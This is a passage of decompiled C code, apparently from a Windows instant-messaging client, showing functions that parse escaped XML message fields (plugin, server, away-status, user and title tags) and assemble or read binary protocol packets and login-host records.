  v23 = (unsigned int)& s ^ dword_426018;
  v1 = a1 + 124;
  v24 = a1;
  v25 = a1 + 124;
  if ( sub_4059A0(0, a1 + 124, (int)"<QUERY>", 7u) == -1
    || sub_4059A0(0, v1, (int)"</QUERY>", 8u) == -1
    || sub_4059A0(0, v1, (int)"<NOTIFY>", 8u) == -1
    || sub_4059A0(0, v1, (int)"</NOTIFY>", 9u) == -1
    || (v2 = sub_4059A0(0, v1, (int)"&lt;PluginID&gt;", 0x10u), v2 == -1)
    || (v5 = v2 + 16, v4 = sub_405540(v3, (int)"&lt;/PluginID&gt;", v1, v2 + 16), v26 = v4, v4 == -1) )
    return 0;
  sub_405510(v1, v5, (int)&v27, v4 - v5);
  v28 = 0;
  if ( sub_406110((int)"srvMng", (int)&v27)
    || (v7 = sub_405540(v6, (int)"<NOTIFY>&lt;srv&gt;&lt;id&gt;", v25, v26 + 17), v7 == -1)
    || (v10 = v7 + 29, v9 = sub_405540(v8, (int)"&lt;/id&gt;", v25, v7 + 29), v26 = v9, v9 == -1) )
  {
LABEL_16:
    sub_401970((int)&v27);
    return 0;
  }
  sub_405510(v25, v10, (int)&v29, v9 - v10);
  LOBYTE(v28) = 1;
  if ( sub_406110((int)"cAwaySrv", (int)&v29)
    || (v11 = sub_405540(v26 + 11, (int)"&lt;req&gt;&lt;id&gt;", v25, v26 + 11), v11 == -1)
    || (v14 = v11 + 21, v13 = sub_405540(v12, (int)"&lt;/id&gt;", v25, v11 + 21), v26 = v13, v13 == -1) )
  {
LABEL_15:
    sub_401970((int)&v29);
    goto LABEL_16;
  }
  sub_405510(v25, v14, (int)&v30, v13 - v14);
  LOBYTE(v28) = 2;
  if ( sub_406110((int)"AwayStat", (int)&v30)
    || (v17 = sub_405540(v15, (int)"&lt;senderId&gt;", v25, v26 + 11), v17 == -1)
    || (v20 = v17 + 16, v19 = sub_405540(v18, (int)"&lt;/senderId&gt;", v25, v17 + 16), v19 == -1) )
  {
    sub_401970((int)&v30);
    goto LABEL_15;
  }
  v21 = sub_405510(v25, v20, (int)&v31, v19 - v20);
  LOBYTE(v28) = 3;
  sub_4019A0(v21, v24 + 152);
  sub_401970((int)&v31);
  sub_401970((int)&v30);
  sub_401970((int)&v29);
  sub_401970((int)&v27);
  return 1;
}

//----- (00404100) --------------------------------------------------------
char __fastcall sub_404100(int a1)
{
  int v1; // edi@1
  int v2; // esi@1
  int v3; // eax@5
  int v4; // ecx@5
  int v5; // eax@6
  int v6; // ebx@6
  int v7; // eax@7
  int v8; // ecx@7
  int v9; // edi@7
  int v10; // eax@8
  int v11; // ebx@8
  const char *v12; // eax@9
  int v13; // eax@11
  int v14; // ecx@11
  int v16; // eax@14
  int v17; // ebx@14
  int v18; // eax@15
  int v19; // ecx@15
  int v20; // eax@16
  int v21; // ebx@16
  int v22; // eax@7
  int v23; // eax@11
  int v24; // ST08_4@11
  int v25; // eax@15
  int v26; // eax@17
  int  s; // [sp+7Ch] [bp+0h]@1
  unsigned int v28; // [sp+6Ch] [bp-10h]@1
  int v29; // [sp+10h] [bp-6Ch]@1
  int v30; // [sp+Ch] [bp-70h]@1
  int v31; // [sp+14h] [bp-68h]@6
  char v32; // [sp+34h] [bp-48h]@7
  signed int v33; // [sp+78h] [bp-4h]@7
  char *Str; // [sp+50h] [bp-2Ch]@9
  unsigned int v35; // [sp+64h] [bp-18h]@9
  char v36; // [sp+18h] [bp-64h]@17

  v28 = (unsigned int)& s ^ dword_426018;
  v1 = a1;
  v2 = a1 + 124;
  v29 = a1;
  v30 = a1 + 124;
  if ( sub_4059A0(0, a1 + 124, (int)"<NR>", 4u) == -1
    || sub_4059A0(0, v2, (int)"</NR>", 5u) == -1
    || sub_4059A0(0, v2, (int)"<RES>", 5u) == -1
    || sub_4059A0(0, v2, (int)"</RES>", 6u) == -1
    || (v3 = sub_4059A0(0, v2, (int)"&lt;uin&gt;", 0xBu), v3 == -1)
    || (v6 = v3 + 11, v5 = sub_405540(v4, (int)"&lt;/uin&gt;", v2, v3 + 11), v31 = v5, v5 == -1)
    || (v22 = sub_405510(v2, v6, (int)&v32, v5 - v6), v33 = 0, sub_4019A0(v22, v1 + 152), v33 = -1, sub_401970((int)&v32), v9 = v30, v7 = sub_405540(v8, (int)"&lt;index&gt;", v30, v31 + 12), v7 == -1)
    || (v11 = v7 + 13, v10 = sub_405540(v8, (int)"&lt;/index&gt;", v30, v7 + 13), v31 = v10, v10 == -1) )
    return 0;
  sub_405510(v30, v11, (int)&Str, v10 - v11);
  v33 = 1;
  v12 = Str;
  if ( v35 < 0x10 )
    v12 = (const char *)&Str;
  v23 = atoi(v12);
  v24 = v31 + 14;
  *(_DWORD *)(v29 + 180) = v23;
  v13 = sub_405540(v29, (int)"&lt;title&gt;", v9, v24);
  if ( v13 == -1
    || (v17 = v13 + 13, v16 = sub_405540(v14, (int)"&lt;/title&gt;", v9, v13 + 13), v31 = v16, v16 == -1)
    || (v25 = sub_405510(v9, v17, (int)&v32, v16 - v17), LOBYTE(v33) = 2, sub_4019A0(v25, v29 + 184), LOBYTE(v33) = 1, sub_401970((int)&v32), v18 = sub_405540(v19, (int)"&lt;desc&gt;", v30, v31 + 14), v18 == -1)
    || (v21 = v18 + 12, v20 = sub_405540(v19, (int)"&lt;/desc&gt;", v30, v18 + 12), v20 == -1) )
  {
    sub_401970((int)&Str);
    return 0;
  }
  v26 = sub_405510(v30, v21, (int)&v36, v20 - v21);
  LOBYTE(v33) = 3;
  sub_4019A0(v26, v29 + 212);
  sub_401970((int)&v36);
  sub_401970((int)&Str);
  return 1;
}

//----- (00404350) --------------------------------------------------------
char __userpurge sub_404350<al>(int a1<eax>, int a2<ecx>, size_t a3)
{
  int v3; // ebx@1
  int v4; // edi@1
  int v5; // esi@1
  size_t v6; // eax@3
  unsigned int v7; // edi@3
  const void *v8; // eax@5
  int v9; // edx@5
  int v10; // ecx@5
  int v11; // edi@5
  void *v12; // edx@6
  int v13; // ecx@9
  int v14; // eax@12
  int v15; // edx@12
  int v16; // ecx@12
  const void *v17; // eax@13
  void *v18; // ecx@13
  int v19; // ecx@16
  int v20; // edi@20
  size_t v21; // eax@22
  unsigned int v22; // edi@22
  unsigned int v23; // eax@24
  int v24; // edi@26
  unsigned int v25; // eax@28
  size_t v26; // ecx@28
  size_t v27; // edi@28
  const void *v28; // eax@30
  int v29; // ecx@30
  int v30; // edi@30
  size_t v31; // eax@34
  const void *v32; // eax@37
  unsigned int v33; // eax@39
  int v34; // edi@42
  size_t v35; // ecx@44
  size_t v36; // edi@44
  unsigned int v37; // eax@45
  int v38; // ebx@49
  unsigned int v39; // eax@53
  unsigned int v40; // edi@55
  unsigned int v41; // eax@57
  size_t v42; // ecx@57
  const void *v43; // eax@59
  int v44; // edi@59
  size_t v45; // edi@61
  unsigned int v46; // eax@63
  unsigned int v47; // ecx@63
  int v48; // ebx@65
  int v49; // ecx@3
  int v50; // eax@12
  int v51; // eax@20
  int v52; // eax@20
  int v53; // edx@22
  int v54; // ecx@24
  int v55; // edx@26
  int v56; // edx@28
  int v57; // eax@34
  char v58; // zf@34
  int v59; // ecx@40
  int v60; // edx@42
  int v61; // edx@45
  int v62; // ecx@53
  int v63; // edi@55
  int v64; // eax@55
  int v65; // edx@57
  int v66; // eax@61
  int v67; // ecx@61
  int v68; // edx@63
  int v69; // [sp+14h] [bp-4h]@3
  int v70; // [sp+10h] [bp-8h]@6
  size_t Size; // [sp+Ch] [bp-Ch]@30

  v5 = a1;
  v4 = a3 + 2;
  v3 = a2;
  if ( *(_DWORD *)(a1 + 4) - *(_DWORD *)a1 < a3 + 2 )
    sub_405670(a3 + 2, a1);
  *(_WORD *)(a3 + *(_DWORD *)v5) = 27;
  v49 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
  v6 = v4;
  v7 = v4 + 2;
  a3 = v6;
  v69 = v7;
  if ( v49 < v7 )
  {
    sub_405670(v7, v5);
    v6 = a3;
  }
  *(_WORD *)(v6 + *(_DWORD *)v5) = *(_WORD *)v3;
  v8 = *(const void **)(v5 + 4);
  v9 = *(_DWORD *)v5;
  v11 = v7 + 16;
  v10 = (int)((char *)v8 - *(_DWORD *)v5);
  if ( v10 <= (unsigned int)v11 )
  {
    if ( v10 < (unsigned int)v11 )
    {
      sub_405AD0(v5, v9 + v11 - (_DWORD)v8);
      v13 = *(_DWORD *)(v5 + 4);
      if ( *(_DWORD *)v5 + v11 - v13 )
        memset(*(void **)(v5 + 4), 0, *(_DWORD *)v5 + v11 - v13);
      *(_DWORD *)(v5 + 4) = v11 + *(_DWORD *)v5;
    }
  }
  else
  {
    v12 = (void *)(v11 + v9);
    v70 = (int)v12;
    if ( v12 != v8 )
    {
      a3 = 0;
      memmove(v12, v8, 0);
      *(_DWORD *)(v5 + 4) = v70 + a3;
    }
  }
  v50 = v69 + *(_DWORD *)v5;
  *(_DWORD *)v50 = 0;
  *(_DWORD *)(v50 + 4) = 0;
  *(_DWORD *)(v50 + 8) = 0;
  *(_DWORD *)(v50 + 12) = 0;
  v14 = *(_DWORD *)v5;
  v15 = v11 + 25;
  v16 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
  a3 = v11 + 25;
  if ( v16 <= (unsigned int)(v11 + 25) )
  {
    if ( v16 >= (unsigned int)(v11 + 25) )
      goto LABEL_20;
    sub_405AD0(v5, v14 + v15 - *(_DWORD *)(v5 + 4));
    v19 = *(_DWORD *)(v5 + 4);
    if ( *(_DWORD *)v5 + a3 - v19 )
      memset(*(void **)(v5 + 4), 0, *(_DWORD *)v5 + a3 - v19);
    *(_DWORD *)(v5 + 4) = a3 + *(_DWORD *)v5;
  }
  else
  {
    v18 = (void *)(v15 + v14);
    v17 = *(const void **)(v5 + 4);
    v69 = (int)v18;
    if ( v18 == v17 )
      goto LABEL_20;
    v70 = 0;
    memmove(v18, v17, 0);
    *(_DWORD *)(v5 + 4) = v69;
  }
  v15 = a3;
LABEL_20:
  v51 = *(_DWORD *)v5;
  *(_DWORD *)(*(_DWORD *)v5 + v11) = 0;
  v52 = v11 + v51;
  *(_DWORD *)(v52 + 4) = 0;
  *(_DWORD *)(v52 + 8) = 0;
  *(_DWORD *)(v52 + 12) = 0;
  *(_DWORD *)(v52 + 16) = 0;
  *(_DWORD *)(v52 + 20) = 0;
  *(_BYTE *)(v52 + 24) = 0;
  *(_BYTE *)(*(_DWORD *)v5 + v11 + 2) = 3;
  *(_BYTE *)(*(_DWORD *)v5 + v11 + 6) = 4;
  *(_BYTE *)(*(_DWORD *)v5 + v11 + 9) = 14;
  v20 = v15 + 1;
  if ( *(_DWORD *)(v5 + 4) - *(_DWORD *)v5 < (unsigned int)(v15 + 1) )
  {
    sub_405670(v15 + 1, v5);
    v15 = a3;
  }
  *(_BYTE *)(v15 + *(_DWORD *)v5) = *(_BYTE *)(v3 + 4);
  v53 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
  v21 = v20;
  v22 = v20 + 1;
  a3 = v21;
  if ( v53 < v22 )
  {
    sub_405670(v22, v5);
    v21 = a3;
  }
  *(_BYTE *)(v21 + *(_DWORD *)v5) = *(_BYTE *)(v3 + 5);
  v54 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
  v23 = v22 + 2;
  v69 = v22 + 2;
  if ( v54 < v22 + 2 )
  {
    sub_405670(v23, v5);
    v23 = v69;
  }
  *(_WORD *)(v22 + *(_DWORD *)v5) = *(_WORD *)(v3 + 6);
  v55 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
  v24 = v23 + 2;
  a3 = v23;
  if ( v55 < v23 + 2 )
  {
    sub_405670(v23 + 2, v5);
    v23 = a3;
  }
  *(_WORD *)(v23 + *(_DWORD *)v5) = *(_WORD *)(v3 + 8);
  v56 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
  v26 = v24;
  v27 = (unsigned __int16)(*(_WORD *)(v3 + 28) + 1);
  v25 = v26 + 2;
  a3 = v26;
  v69 = v26 + 2;
  if ( v56 < v26 + 2 )
  {
    sub_405670(v25, v5);
    v25 = v69;
    v26 = a3;
  }
  *(_WORD *)(v26 + *(_DWORD *)v5) = v27;
  v29 = *(_DWORD *)v5;
  Size = v27;
  v30 = v25 + v27;
  v28 = *(const void **)(v5 + 4);
  if ( (unsigned int)((char *)v28 - v29) <= v30 )
  {
    if ( (unsigned int)((char *)v28 - v29) < v30 )
    {
      sub_405AD0(v5, v30 + v29 - (_DWORD)v28);
      v57 = *(_DWORD *)v5 - *(_DWORD *)(v5 + 4);
      v58 = v30 + v57 == 0;
      v31 = v30 + v57;
      if ( !v58 )
        memset(*(void **)(v5 + 4), 0, v31);
      *(_DWORD *)(v5 + 4) = v30 + *(_DWORD *)v5;
    }
  }
  else
  {
    v70 = v29 + v30;
    if ( v29 + v30 != (_DWORD)v28 )
    {
      a3 = 0;
      memmove((void *)(v29 + v30), v28, 0);
      *(_DWORD *)(v5 + 4) = v70 + a3;
    }
  }
  v32 = (const void *)(v3 + 12);
  if ( *(_DWORD *)(v3 + 32) >= 0x10u )
    v32 = *(const void **)v32;
  memcpy((void *)(v69 + *(_DWORD *)v5), v32, Size);
  LOBYTE(v33) = *(_BYTE *)(v3 + 4);
  if ( (_BYTE)v33 == 1 )
  {
    v59 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
    v33 = v30 + 4;
    v69 = v30 + 4;
    if ( v59 < (unsigned int)(v30 + 4) )
    {
      sub_405670(v33, v5);
      v33 = v69;
    }
    *(_DWORD *)(v30 + *(_DWORD *)v5) = *(_DWORD *)(v3 + 40);
    v60 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
    v34 = v33 + 4;
    a3 = v33;
    if ( v60 < v33 + 4 )
    {
      sub_405670(v33 + 4, v5);
      v33 = a3;
    }
    *(_DWORD *)(v33 + *(_DWORD *)v5) = *(_DWORD *)(v3 + 44);
    v35 = v34;
    v36 = *(_DWORD *)(v3 + 64);
    a3 = v35;
    if ( v36 )
    {
      v61 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
      v37 = v35 + 4;
      v69 = v35 + 4;
      if ( v61 < v35 + 4 )
      {
        sub_405670(v37, v5);
        v37 = v69;
        v35 = a3;
      }
      *(_DWORD *)(v35 + *(_DWORD *)v5) = v36;
      if ( *(_DWORD *)(v5 + 4) - *(_DWORD *)v5 < v36 + v37 )
      {
        sub_405670(v36 + v37, v5);
        v37 = v69;
      }
      v38 = v3 + 48;
      if ( *(_DWORD *)(v38 + 20) >= 0x10u )
        v38 = *(_DWORD *)v38;
      LOBYTE(v33) = (unsigned int)memcpy((void *)(v37 + *(_DWORD *)v5), (const void *)v38, v36);
    }
  }
  else
  {
    if ( (_BYTE)v33 == 26 )
    {
      v62 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
      a3 = (unsigned __int16)(*(_WORD *)(v3 + 112) + 37);
      v39 = v30 + 2;
      v69 = v30 + 2;
      if ( v62 < (unsigned int)(v30 + 2) )
      {
        sub_405670(v39, v5);
        v39 = v69;
      }
      *(_WORD *)(v30 + *(_DWORD *)v5) = a3;
      v63 = v39 + 16;
      a3 = v39 + 16;
      sub_405670(v39 + 16, v5);
      v64 = v69 + *(_DWORD *)v5;
      *(_DWORD *)v64 = *(_DWORD *)(v3 + 76);
      *(_DWORD *)(v64 + 4) = *(_DWORD *)(v3 + 80);
      *(_DWORD *)(v64 + 8) = *(_DWORD *)(v3 + 84);
      *(_DWORD *)(v64 + 12) = *(_DWORD *)(v3 + 88);
      v40 = v63 + 2;
      if ( *(_DWORD *)(v5 + 4) - *(_DWORD *)v5 < v40 )
        sub_405670(v40, v5);
      *(_WORD *)(a3 + *(_DWORD *)v5) = *(_WORD *)(v3 + 92);
      v65 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
      v42 = *(_DWORD *)(v3 + 112);
      v41 = v40 + 4;
      a3 = *(_DWORD *)(v3 + 112);
      v69 = v40 + 4;
      if ( v65 < v40 + 4 )
      {
        sub_405670(v41, v5);
        v41 = v69;
        v42 = a3;
      }
      *(_DWORD *)(v40 + *(_DWORD *)v5) = v42;
      v44 = v42 + v41;
      sub_405670(v42 + v41, v5);
      v43 = (const void *)(v3 + 96);
      if ( *(_DWORD *)(v3 + 116) >= 0x10u )
        v43 = *(const void **)v43;
      memcpy((void *)(v69 + *(_DWORD *)v5), v43, a3);
      a3 = v44 + 15;
      sub_405670(v44 + 15, v5);
      v66 = v44 + *(_DWORD *)v5;
      *(_DWORD *)v66 = 0;
      *(_DWORD *)(v66 + 4) = 0;
      *(_DWORD *)(v66 + 8) = 0;
      *(_WORD *)(v66 + 12) = 0;
      *(_BYTE *)(v66 + 14) = 0;
      *(_BYTE *)(*(_DWORD *)v5 + v44 + 2) = 1;
      v67 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
      v45 = *(_DWORD *)(v3 + 140);
      v69 = a3 + 4;
      if ( v67 < a3 + 4 )
        sub_405670(a3 + 4, v5);
      *(_DWORD *)(a3 + *(_DWORD *)v5) = v45 + 4;
      v47 = v69;
      v68 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
      v46 = v69 + 4;
      a3 = v69;
      v69 += 4;
      if ( v68 < v46 )
      {
        sub_405670(v46, v5);
        v47 = a3;
        v46 = v69;
      }
      *(_DWORD *)(v47 + *(_DWORD *)v5) = v45;
      sub_405670(v45 + v46, v5);
      v48 = v3 + 124;
      if ( *(_DWORD *)(v48 + 20) >= 0x10u )
        v48 = *(_DWORD *)v48;
      LOBYTE(v33) = (unsigned int)memcpy((void *)(v69 + *(_DWORD *)v5), (const void *)v48, v45);
    }
  }
  return v33;
}

//----- (00404830) --------------------------------------------------------
char __stdcall sub_404830(int a1, int a2)
{
  unsigned int v2; // ebx@1
  int v3; // edi@1
  unsigned int v4; // esi@1
  int v5; // eax@2
  int v6; // ebx@5
  unsigned int v7; // eax@6
  int v8; // ecx@7
  int v9; // eax@11
  int v10; // eax@16
  unsigned int v11; // eax@19
  int v12; // ecx@20
  int v13; // eax@24
  unsigned int v14; // eax@27
  int v15; // ecx@28
  int v16; // eax@32
  unsigned int v17; // eax@35
  int v18; // ecx@36
  int v19; // ecx@39
  int v21; // eax@42
  char v22; // al@43
  int (__stdcall **v23)(char); // [sp+10h] [bp-20h]@1
  int v24; // [sp+14h] [bp-1Ch]@1
  int v25; // [sp+18h] [bp-18h]@1
  int v26; // [sp+1Ch] [bp-14h]@1
  int v27; // [sp+2Ch] [bp-4h]@1

  v2 = 0;
  v23 = &off_4214E8;
  v24 = 0;
  v25 = 0;
  v26 = 0;
  v27 = 0;
  sub_405790((int)&v24, a2);
  v3 = v24;
  *(_WORD *)a1 = 0;
  v4 = ((signed int)((unsigned __int64)(1717986919i64 * (v25 - v3)) >> 32) >> 3)
     + ((unsigned int)((unsigned __int64)(1717986919i64 * (v25 - v3)) >> 32) >> 31);
  if ( !(((signed int)((unsigned __int64)(1717986919i64 * (v25 - v3)) >> 32) >> 3)
       + ((unsigned int)((unsigned __int64)(1717986919i64 * (v25 - v3)) >> 32) >> 31)) )
    goto LABEL_5;
  v5 = v3;
  while ( *(_WORD *)v5 != 1 )
  {
    ++v2;
    v5 += 20;
    if ( v2 >= v4 )
      goto LABEL_5;
  }
  v9 = v3 + 20 * v2;
  if ( v9 )
  {
    if ( (unsigned int)(*(_DWORD *)(v9 + 8) - *(_DWORD *)(v9 + 4)) < 2 )
      goto LABEL_14;
    v6 = a1;
    *(_WORD *)a1 = htons_0(**(_WORD **)(v9 + 4));
  }
  else
  {
LABEL_5:
    v6 = a1;
  }
  v7 = 0;
  *(_DWORD *)(v6 + 4) = 0;
  if ( v4 )
  {
    v8 = v3;
    while ( *(_WORD *)v8 != 6 )
    {
      ++v7;
      v8 += 20;
      if ( v7 >= v4 )
        goto LABEL_19;
    }
    v10 = v3 + 20 * v7;
    if ( v10 )
    {
      if ( (unsigned int)(*(_DWORD *)(v10 + 8) - *(_DWORD *)(v10 + 4)) >= 4 )
      {
        *(_DWORD *)(v6 + 4) = htonl(**(_DWORD **)(v10 + 4));
        goto LABEL_19;
      }
LABEL_14:
      if ( v3 )
      {
        sub_4061B0(v3, v25);
        operator delete(v3);
      }
      return 0;
    }
  }
LABEL_19:
  v11 = 0;
  *(_DWORD *)(v6 + 8) = 0;
  if ( v4 )
  {
    v12 = v3;
    while ( *(_WORD *)v12 != 15 )
    {
      ++v11;
      v12 += 20;
      if ( v11 >= v4 )
        goto LABEL_27;
    }
    v13 = v3 + 20 * v11;
    if ( v13 )
    {
      if ( (unsigned int)(*(_DWORD *)(v13 + 8) - *(_DWORD *)(v13 + 4)) < 4 )
        goto LABEL_39;
      *(_DWORD *)(v6 + 8) = htonl(**(_DWORD **)(v13 + 4));
    }
  }
LABEL_27:
  v14 = 0;
  *(_DWORD *)(v6 + 12) = 0;
  if ( v4 )
  {
    v15 = v3;
    while ( *(_WORD *)v15 != 3 )
    {
      ++v14;
      v15 += 20;
      if ( v14 >= v4 )
        goto LABEL_35;
    }
    v16 = v3 + 20 * v14;
    if ( v16 )
    {
      if ( (unsigned int)(*(_DWORD *)(v16 + 8) - *(_DWORD *)(v16 + 4)) >= 4 )
      {
        *(_DWORD *)(v6 + 12) = htonl(**(_DWORD **)(v16 + 4));
        goto LABEL_35;
      }
LABEL_39:
      v19 = (int)&v23;
LABEL_40:
      sub_402740(v19);
      return 0;
    }
  }
LABEL_35:
  v17 = 0;
  if ( !v4 )
    goto LABEL_39;
  v18 = v3;
  while ( *(_WORD *)v18 != 5 )
  {
    ++v17;
    v18 += 20;
    if ( v17 >= v4 )
      goto LABEL_39;
  }
  v21 = v3 + 20 * v17;
  if ( !v21 )
    goto LABEL_39;
  v22 = sub_403600(v6 + 16, v21 + 4);
  v19 = (int)&v23;
  if ( !v22 )
    goto LABEL_40;
  sub_402740((int)&v23);
  return 1;
}

//----- (00404A40) --------------------------------------------------------
int __thiscall sub_404A40(int this, int a2)
{
  int v2; // edi@1
  int result; // eax@5
  char v4; // [sp+38h] [bp-14h]@1
  int v5; // [sp+28h] [bp-24h]@1
  int v6; // [sp+2Ch] [bp-20h]@1
  int v7; // [sp+30h] [bp-1Ch]@1
  int v8; // [sp+48h] [bp-4h]@1
  int v9; // [sp+18h] [bp-34h]@1
  int v10; // [sp+1Ch] [bp-30h]@1
  int v11; // [sp+20h] [bp-2Ch]@1
  __int16 v12; // [sp+14h] [bp-38h]@1

  v2 = this;
  sub_405B50(this, (int)&v4, *(_DWORD *)this, *(_DWORD *)(this + 4));
  v5 = 0;
  v6 = 0;
  v7 = 0;
  v8 = 0;
  sub_403740((int)&v5, a2 + 16);
  v9 = 0;
  v10 = 0;
  v11 = 0;
  LOBYTE(v8) = 1;
  sub_405570((int)&v5, (int)&v9);
  v12 = 5;
  LOBYTE(v8) = 2;
  sub_4056D0((unsigned int)&v12, v2);
  if ( v9 )
    operator delete(v9);
  v9 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 3;
  LOBYTE(v8) = 4;
  sub_4056D0((unsigned int)&v12, v2);
  if ( v9 )
    operator delete(v9);
  result = v5;
  if ( v5 )
    result = operator delete(v5);
  return result;
}

//----- (00404B60) --------------------------------------------------------
char __usercall sub_404B60<al>(int a1<eax>, int a2<ebx>)
{
  int v2; // eax@1
  unsigned int v3; // ecx@1
  int v4; // edi@1
  int v5; // esi@1
  int v6; // edx@2
  char result; // al@5
  int v8; // eax@6
  int v9; // eax@7
  int v10; // edx@7
  unsigned int v11; // ecx@7
  signed int v12; // edx@1
  unsigned int v13; // eax@1
  char v14; // zf@1

  v5 = a1;
  v4 = *(_DWORD *)a1;
  v12 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1)) >> 32) >> 3;
  v13 = (unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1)) >> 32) >> 31;
  v3 = 0;
  v14 = v12 + v13 == 0;
  v2 = v12 + v13;
  if ( v14 )
    goto LABEL_5;
  v6 = v4;
  while ( *(_WORD *)v6 != 5 )
  {
    ++v3;
    v6 += 20;
    if ( v3 >= v2 )
      goto LABEL_5;
  }
  v8 = 20 * v3;
  if ( (unsigned int)(*(_DWORD *)(20 * v3 + v4 + 8) - *(_DWORD *)(20 * v3 + v4 + 4)) < 9
    || (*(_DWORD *)a2 = **(_DWORD **)(v8 + v4 + 4), *(_BYTE *)(a2 + 4) = *(_BYTE *)(*(_DWORD *)(v8 + *(_DWORD *)v5 + 4)
                                                                                  + 4), *(_BYTE *)(a2 + 5) = *(_BYTE *)(*(_DWORD *)(v8 + *(_DWORD *)v5 + 4) + 5), v9 = v8 + *(_DWORD *)v5 + 4, v10 = *(_DWORD *)v9, v11 = *(_WORD *)(*(_DWORD *)v9 + 6), v11 < 1)
    || *(_DWORD *)(v9 + 4) - v10 < v11 + 8 )
  {
LABEL_5:
    result = 0;
  }
  else
  {
    setLoginHost((const void *)(v10 + 8), v11 - 1, a2 + 8);
    result = 1;
  }
  return result;
}

//----- (00404C00) --------------------------------------------------------
int __usercall sub_404C00<eax>(int a1<esi>)
{
  int result; // eax@1
  int v2; // ebx@1

  result = *(_DWORD *)(a1 + 40);
  v2 = 0;
  if ( result )
  {
    sub_4061B0(result, *(_DWORD *)(a1 + 44));
    result = operator delete(*(_DWORD *)(a1 + 40));
    v2 = 0;
  }
  *(_DWORD *)(a1 + 40) = v2;
  *(_DWORD *)(a1 + 44) = v2;
  *(_DWORD *)(a1 + 48) = v2;
  if ( *(_DWORD *)(a1 + 24) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 4));
  *(_DWORD *)(a1 + 20) = v2;
  *(_DWORD *)(a1 + 24) = 15;
  *(_BYTE *)(a1 + 4) = v2;
  return result;
}

//----- (00404C50) --------------------------------------------------------
char __userpurge sub_404C50<al>(int a1<ebx>, int a2, int a3)
{
  int v3; // edi@1
  int v4; // esi@1
  int v5; // eax@2
  int v6; // ecx@2
  unsigned int v7; // edi@2
  int v8; // eax@3
  int v9; // ecx@3
  int v10; // edi@3
  int v11; // eax@4
  int v12; // ecx@4
  int v13; // eax@5
  int v14; // ecx@5
  int v15; // eax@6
  int v16; // ecx@6
  int v17; // esi@7
  u_short v19; // ax@2
  int v20; // edx@2
  int v21; // esi@3
  u_short v22; // ax@4
  u_short v23; // ax@5
  u_short v24; // ax@6
  u_short v25; // ax@7
  u_short v26; // ax@7
  int v27; // ST0C_4@8
  int v28; // ST08_4@8
  int v29; // edi@13
  int v30; // [sp+20h] [bp-10h]@8
  int v31; // [sp+10h] [bp-20h]@12
  int v32; // [sp+14h] [bp-1Ch]@12
  int v33; // [sp+18h] [bp-18h]@12
  signed int v34; // [sp+2Ch] [bp-4h]@12
  char v35; // [sp+Ch] [bp-24h]@12

  v4 = a2;
  v3 = a3 + 2;
  if ( *(_DWORD *)(a2 + 4) - *(_DWORD *)a2 >= (unsigned int)(a3 + 2) )
  {
    v19 = *(_WORD *)(*(_DWORD *)a2 + a3);
    *(_WORD *)a1 = v19;
    *(_WORD *)a1 = htons_0(v19);
    v5 = *(_DWORD *)v4;
    v6 = v3;
    v7 = *(_WORD *)a1;
    v20 = *(_DWORD *)(v4 + 4) - *(_DWORD *)v4;
    a3 = v6;
    if ( v20 >= v7 + v6 )
    {
      setLoginHost((const void *)(v6 + v5), v7, a1 + 4);
      v10 = a2;
      v8 = *(_DWORD *)(a1 + 20) + a3;
      v9 = *(_DWORD *)a2;
      v21 = *(_DWORD *)(a2 + 4) - *(_DWORD *)a2;
      a3 = v8 + 2;
      if ( v21 >= (unsigned int)(v8 + 2) )
      {
        v22 = *(_WORD *)(v9 + v8);
        *(_WORD *)(a1 + 32) = v22;
        *(_WORD *)(a1 + 32) = htons_0(v22);
        v11 = a3;
        v12 = *(_DWORD *)v10;
        a3 += 2;
        if ( *(_DWORD *)(v10 + 4) - v12 >= (unsigned int)a3 )
        {
          v23 = *(_WORD *)(v12 + v11);
          *(_WORD *)(a1 + 34) = v23;
          *(_WORD *)(a1 + 34) = htons_0(v23);
          v13 = a3;
          v14 = *(_DWORD *)v10;
          a3 += 2;
          if ( *(_DWORD *)(v10 + 4) - v14 >= (unsigned int)a3 )
          {
            v24 = *(_WORD *)(v14 + v13);
            *(_WORD *)(a1 + 36) = v24;
            *(_WORD *)(a1 + 36) = htons_0(v24);
            v15 = a3;
            v16 = *(_DWORD *)v10;
            a3 += 2;
            if ( *(_DWORD *)(v10 + 4) - v16 >= (unsigned int)a3 )
            {
              v25 = *(_WORD *)(v16 + v15);
              *(_WORD *)(a1 + 38) = v25;
              v26 = htons_0(v25);
              v17 = a3;
              *(_WORD *)(a1 + 38) = v26;
              if ( *(_DWORD *)(v10 + 4) - *(_DWORD *)v10 >= v17 + (unsigned int)v26 )
              {
                v27 = *(_DWORD *)(a1 + 44);
                v28 = *(_DWORD *)(a1 + 40);
                v30 = v17;
                sub_405B50(a1 + 40, (int)&a3, v28, v27);
                if ( v17 <= v17 + (unsigned int)*(_WORD *)(a1 + 38) )
                {
                  while ( 1 )
                  {
                    if ( v17 == v30 + *(_WORD *)(a1 + 38) )
                      return 1;
                    v31 = 0;
                    v32 = 0;
                    v33 = 0;
                    v34 = 0;
                    if ( !sub_402630(v17, v10, (int)&v35) )
                      break;
                    sub_4056D0((unsigned int)&v35, a1 + 40);
                    v34 = -1;
                    v29 = v17 + v32 - v31 + 4;
                    a3 = v17 + v32 - v31 + 4;
                    sub_406500((int)&v35);
                    if ( v29 > v30 + (unsigned int)*(_WORD *)(a1 + 38) )
                      return 0;
                    v10 = a2;
                    v17 = a3;
                  }
                  sub_406500((int)&v35);
                }
              }
            }
          }
        }
      }
    }
